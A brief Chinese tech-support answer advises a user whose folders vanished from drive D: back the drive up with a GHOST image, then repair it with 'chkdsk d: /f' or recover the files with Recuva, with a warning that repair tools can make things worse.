小陈答:建议你先用GHOST将D盘做成Ghost镜像备份起来。然后单击"开始"菜单→"运行"命令输入"cmd"并回车打开"命令提示符"。在"命令提示符"中输入"chkdsk d: /f"("chkdsk"和"d:",以及"/f"之间要用空格隔开)并回车,使用chkdsk命令修复D盘上的错误。
  此外,你也可以使用Recuva软件来找回消失的文件夹。
  提示:不管使用什么软件来修复D盘或恢复D盘的文件夹,一般都有可能把D盘给搞出问题。比如chkdsk命令就过大于功,有时候修复出来的文件夹完全无法使用。所以建议先使用GHOST把D盘做成Ghost镜像备份,有备无患,一旦出了问题,只要恢复D盘镜像即可。

--
Simon Shang